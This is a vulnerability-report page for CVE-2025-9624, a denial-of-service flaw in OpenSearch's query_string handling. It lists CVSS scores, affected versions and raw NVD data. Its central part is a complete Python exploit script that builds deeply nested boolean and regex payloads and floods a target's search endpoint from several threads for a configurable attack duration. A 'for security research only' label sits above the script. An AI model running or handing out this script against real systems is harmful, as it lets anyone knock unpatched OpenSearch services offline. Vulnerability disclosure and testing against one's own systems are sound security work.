Security Vulnerability Report
中文
CVE-2025-9624 CVSS 7.5 HIGH

CVE-2025-9624

Published: 2025-11-25 20:16:01
Last Modified: 2025-12-15 14:15:58

Description

A vulnerability in OpenSearch allows attackers to cause Denial of Service (DoS) by submitting complex query_string inputs. This issue affects all OpenSearch versions between 3.0.0 and < 3.3.0 and OpenSearch < 2.19.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:amazon:opensearch:*:*:*:*:*:*:*:* - VULNERABLE
OpenSearch 3.0.0 - 3.3.0
OpenSearch < 2.19.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9624 OpenSearch DoS PoC # Target: OpenSearch query_string endpoint # Impact: Denial of Service through complex query_string input import requests import time import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def create_dos_payload(): """ Generate complex query_string payload that causes DoS This payload exploits regex complexity and nested boolean operations """ # Complex nested boolean operations to exhaust CPU nested_query = "(" * 50 nested_query += "field1:value1" for i in range(50): nested_query += " AND (" * 10 + "field" + str(i) + ":value" + str(i) nested_query += ")" * 10 nested_query += ")" * 50 # Add complex regex pattern regex_payload = "a" * 30 + "(" + "a?" * 20 + ")+" * 10 return { "query": { "query_string": { "query": nested_query + " " + regex_payload, "default_field": "*" } } } def send_exploit(target_url, index="_all"): """ Send DoS exploit to OpenSearch search endpoint """ endpoint = f"{target_url}/{index}/_search" payload = create_dos_payload() try: response = requests.post( endpoint, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) return response.status_code, response.elapsed.total_seconds() except requests.exceptions.Timeout: return "TIMEOUT", 10 except Exception as e: return "ERROR", 0 def main(): parser = argparse.ArgumentParser(description="CVE-2025-9624 OpenSearch DoS Exploit") parser.add_argument("--target", required=True, help="OpenSearch URL (e.g., http://target:9200)") parser.add_argument("--threads", type=int, default=5, help="Number of concurrent requests") parser.add_argument("--duration", type=int, default=60, help="Attack duration in seconds") args = parser.parse_args() print(f"[*] Starting CVE-2025-9624 DoS attack against {args.target}") print(f"[*] Duration: {args.duration}s, Threads: {args.threads}") start_time = time.time() success_count = 0 while time.time() - start_time < args.duration: with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(send_exploit, args.target) for _ in range(args.threads)] for future in as_completed(futures): status_code, elapsed = future.result() if status_code != "ERROR": success_count += 1 print(f"[+] Request sent, Status: {status_code}, Time: {elapsed:.2f}s") time.sleep(0.5) print(f"[*] Attack completed. Total requests: {success_count}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9624", "sourceIdentifier": "[email protected]", "published": "2025-11-25T20:16:01.177", "lastModified": "2025-12-15T14:15:57.967", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in OpenSearch allows attackers to cause Denial of Service (DoS) by submitting complex query_string inputs.\n\n\n\nThis issue affects all OpenSearch versions between 3.0.0 and < 3.3.0 and OpenSearch < 2.19.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:opensearch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.0", "matchCriteriaId": "C5816A09-0A30-4AA6-B773-62F21D9E0480"}]}]}], "references": [{"url": "https://fluidattacks.com/advisories/chick", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensearch-project/OpenSearch/releases/tag/2.19.4", "source": "[email protected]"}, {"url": "https://github.com/opensearch-project/OpenSearch/releases/tag/3.3.0", "source": "[email protected]"}]}}